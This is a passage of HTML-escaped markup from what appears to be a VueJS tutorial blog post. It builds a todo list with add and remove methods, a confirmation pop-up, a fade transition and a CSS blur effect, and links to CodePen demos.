punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;v-on:&lt;/span&gt;click&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;addTaskToList&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;v-for&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;(todo, index) in todoList&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; {% raw %}{{ todo }}{% endraw %} &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;button&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Remove&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;v-on:&lt;/span&gt;click&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;removeTaskFromList(index)&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;ul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Meanwhile, our &lt;strong&gt;JS&lt;/strong&gt; file looks like this.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; app &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Vue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; el&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#app&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; task&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;my first task&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; todoList &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; methods &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;addTaskToList&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;todoList&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;task&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;removeTaskFromList&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;todoList&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;splice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The code itself is self-explanatory. It simply adds a &lt;code class=&quot;language-text&quot;&gt;task&lt;/code&gt; inside the &lt;code class=&quot;language-text&quot;&gt;todoList&lt;/code&gt; using &lt;code class=&quot;language-text&quot;&gt;addTaskToList&lt;/code&gt; method and removes from the list using &lt;code class=&quot;language-text&quot;&gt;removeTaskFromList&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;The event binding and loops syntax in the HTML looks similar to what you see in &lt;strong&gt;AngularJS&lt;/strong&gt;. However, the syntax of variables and methods is different in VueJS, which reminds you of private variables and public methods you used to code in &lt;strong&gt;C++&lt;/strong&gt;. You can view the &lt;a href=&quot;https://codepen.io/AshBardhan/pen/XzLxbE&quot;&gt;demo&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Let’s add more interaction in this. A confirmation pop-up should appear with &lt;code class=&quot;language-text&quot;&gt;OK&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;Cancel&lt;/code&gt; options. Regardless of the option chosen, the pop-up should be closed later on.&lt;/p&gt; &lt;p&gt;In &lt;strong&gt;HTML&lt;/strong&gt;, let’s modify the list element&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;li&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;v-for&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;(todo, index) in todoList&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; {% raw %}{{ todo }}{% endraw %} &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;button&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Remove&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;v-on:&lt;/span&gt;click&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;onRemoveTask(index)&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;li&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And add a new pop-up element&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;v-show&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;isPopupOpen&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; Are you sure you want to remove this from Todo List?&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;br&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;button&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;OK&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;v-on:&lt;/span&gt;click&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;confirmRemove()&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;button&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Cancel&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;v-on:&lt;/span&gt;click&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;cancelRemove()&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Meanwhile in &lt;strong&gt;JS&lt;/strong&gt;, initialize new data variables inside&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; isPopupOpen &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; currentIndex&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And also, add some methods&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;methods &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;onRemoveTask&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isPopupOpen &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;currentIndex &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;confirmRemove&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;removeTaskFromList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;currentIndex&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isPopupOpen &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;cancelRemove&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isPopupOpen &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Let’s add some animation into it.&lt;/p&gt; &lt;p&gt;For the fading-in/out the pop-up, you need to wrap our pop-up inside &lt;code class=&quot;language-text&quot;&gt;transition&lt;/code&gt; tag.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;transition&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;fade&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;v-show&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;isPopupOpen&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; … Pop-up element content &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;transition&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This element takes care of the transition logic. You don’t need to bother when to start or stop transition. All you’ve to mention is what kind of transition you want to see and for how long. This can be done using some CSS classes provided by VueJS.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.fade-enter-active, .fade-leave-active&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;transition&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; opacity 0.5s ease-out&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.fade-enter, .fade-leave-to&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The &lt;code class=&quot;language-text&quot;&gt;fade&lt;/code&gt; prefix used in this class should match the &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt; attribute of the &lt;code class=&quot;language-text&quot;&gt;transition&lt;/code&gt; component.&lt;/p&gt; &lt;p&gt;For blurring the form and the list elements once the pop-up appears, they should be wrapped inside a contained conditionally bounded using &lt;code class=&quot;language-text&quot;&gt;v-bind&lt;/code&gt; attribute.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;v-bind:&lt;/span&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;[isPopupOpen ? &apos;disabled&apos; : &apos;&apos;, ‘container’]&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; … Form and Todo List element content &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And add the required &lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.container&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;transition&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; all 0.05s ease-out&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.disabled&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;blur&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;2px&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0.4&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;pointer-events&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; none&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; // This makes sure that nothing else is clicked other than pop-up options &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;You can check the complete code and view &lt;a href=&quot;https://codepen.io/AshBardhan/pen/zPVmvj&quot;&gt;demo&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;advantages&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#advantages&quot; aria-label=&quot;advantages permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg 